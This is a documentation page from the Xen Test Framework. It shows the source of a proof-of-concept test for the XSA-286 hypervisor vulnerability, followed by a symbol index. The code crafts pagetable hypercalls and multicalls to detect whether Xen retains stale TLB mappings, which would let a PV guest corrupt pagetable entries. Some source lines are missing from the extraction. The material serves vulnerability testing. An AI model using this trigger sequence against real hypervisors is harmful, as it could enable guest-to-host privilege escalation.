Xen Test Framework
main.c
Go to the documentation of this file.
1 
37 #include <xtf.h>
38 
39 const char test_title[] = "XSA-286 PoC";
40 
45 
46 void test_main(void)
47 {
48  intpte_t *l3t;
49  unsigned int slot = 1;
50  int rc;
51 
52  /* Walk pagetables to L3. */
53  if ( IS_DEFINED(CONFIG_64BIT) )
54  {
56 
57  l3t = maddr_to_virt(pte_to_paddr(l4t[0]));
58  }
59  else
60  l3t = _p(pv_start_info->pt_base);
61 
62  /*
63  * Prepare l*t*[]. Point each L2[0] at the appropriate L1, and pin the
64  * L2's to get all of the type reference handling in Xen out of the way.
65  */
66  l2t1[0] = pte_from_virt(l1t1, PF_SYM(AD, RW, P));
67  l2t2[0] = pte_from_virt(l1t2, PF_SYM(AD, RW, P));
68 
70  _u(l1t1), pte_from_virt(l1t1, PF_SYM(AD, P)), 0) )
71  return xtf_error("Error: Can't remap l1t1 as R/O\n");
73  _u(l1t2), pte_from_virt(l1t2, PF_SYM(AD, P)), 0) )
74  return xtf_error("Error: Can't remap l1t2 as R/O\n");
76  _u(l2t1), pte_from_virt(l2t1, PF_SYM(AD, P)), 0) )
77  return xtf_error("Error: Can't remap l2t1 as R/O\n");
79  _u(l2t2), pte_from_virt(l2t2, PF_SYM(AD, P)), 0) )
80  return xtf_error("Error: Can't remap l2t2 as R/O\n");
81 
82  mmuext_op_t mux[] = {
83  {
85  .arg1.mfn = virt_to_mfn(l2t1),
86  },
87  {
88  .cmd = MMUEXT_PIN_L2_TABLE,
89  .arg1.mfn = virt_to_mfn(l2t2),
90  },
91  };
92 
94  if ( rc )
95  return xtf_error("Error: Can't pin l2t*[]\n");
96 
97  /*
98  * The test depends on retaining stale TLB mappings to spot the
99  * vulnerability. This can race with interrupt handling and rescheduling.
100  * Repeat it several times in quick succession.
101  */
102  for ( int i = 0; i < 15; ++i )
103  {
104  /* Reset. Map l2t1 into l3[slot], clear l1t{1,2}[0]. */
105  mmu_update_t mu[] = {
106  {
107  .ptr = virt_to_maddr(&l3t[slot]),
108  .val = pte_from_virt(l2t1, PF_SYM(AD, RW, P)),
109  },
110  {
111  .ptr = virt_to_maddr(&l1t1[0]),
112  .val = 0,
113  },
114  {
115  .ptr = virt_to_maddr(&l1t2[0]),
116  .val = 0,
117  },
118  };
119 
121  if ( rc )
122  return xtf_error("Error: Can't reset mapping state: %d\n", rc);
123 
124  unsigned long addr = slot << L3_PT_SHIFT;
125 
126  /*
127  * Multicall comprising:
128  *
129  * - update_va_mapping(addr, 0, INLVPG)
130  * - mmu_update(&l3t[slot], l2t2)
131  * - update_va_mapping(addr, gfn0 | AD|WR|P, INLVPG)
132  */
133  mu[0].val = pte_from_virt(l2t2, PF_SYM(AD, RW, P));
134  intpte_t nl1e = pte_from_gfn(pfn_to_mfn(0), PF_SYM(AD, RW, P));
136  {
138  .args = {
139  addr,
140  0,
141 #ifdef __i386__
142  0,
143 #endif
144  UVMF_INVLPG,
145  },
146  },
147  {
149  .args = {
150  _u(mu),
151  1,
152  _u(NULL),
153  DOMID_SELF,
154  },
155  },
156  {
158  .args = {
159  addr,
160  (unsigned long)nl1e,
161 #ifdef __i386__
162  nl1e >> 32,
163 #endif
164  UVMF_INVLPG,
165  },
166  },
167  };
168 
169  rc = hypercall_multicall(multi, ARRAY_SIZE(multi));
170  if ( rc )
171  return xtf_error("Error: multicall failed: %d\n", rc);
172 
173  /*
174  * If Xen retained a stale TLB mapping, then l1t1[0] will have been
175  * edited, despite l1t2[0] being the correct entry to have editied.
176  */
177  if ( l1t1[0] )
178  return xtf_failure("Fail: Xen retained stale linear pt mapping\n");
179  }
180 
181  xtf_success("Success: Probably not vulnerable to XSA-286\n");
182 }
183 
184 /*
185  * Local variables:
186  * mode: C
187  * c-file-style: "BSD"
188  * c-basic-offset: 4
189  * tab-width: 4
190  * indent-tabs-mode: nil
191  * End:
192  */
#define L1_PT_ENTRIES
Definition: page.h:69
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define ARRAY_SIZE(a)
Definition: lib.h:8
#define __page_aligned_bss
Definition: compiler.h:37
paddr_t pte_to_paddr(intpte_t pte)
unsigned long pfn_to_mfn(unsigned long pfn)
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
static intpte_t l1t2[L1_PT_ENTRIES]
Definition: main.c:42
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
uint64_t virt_to_maddr(const void *va)
static long hypercall_multicall(struct multicall_entry *list, unsigned int nr)
Definition: hypercall.h:105
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
uint64_t ptr
Definition: xen.h:249
unsigned long virt_to_mfn(const void *va)
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static intpte_t l2t1[L2_PT_ENTRIES]
Definition: main.c:43
static intpte_t l1t1[L1_PT_ENTRIES]
Definition: main.c:41
Definition: xen.h:263
unsigned long pt_base
Definition: xen.h:223
#define MMUEXT_PIN_L2_TABLE
Definition: xen.h:334
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
static long hypercall_mmu_update(const mmu_update_t reqs[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:60
Definition: xen.h:355
void * maddr_to_virt(uint64_t maddr)
static intpte_t l2t2[L2_PT_ENTRIES]
Definition: main.c:44
unsigned long intpte_t
Definition: page.h:152
const char test_title[]
The title of the test.
Definition: main.c:14
#define L2_PT_ENTRIES
Definition: page.h:70
#define __HYPERVISOR_mmu_update
Definition: xen.h:15
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:148
#define __HYPERVISOR_update_va_mapping
Definition: xen.h:27
static multicall_entry_t multi[]
Definition: main.c:107
xen_pv_start_info_t * pv_start_info
Definition: traps.c:14
unsigned int cmd
Definition: xen.h:356
#define DOMID_SELF
Definition: xen.h:70
unsigned long op
Definition: xen.h:264
uint64_t val
Definition: xen.h:250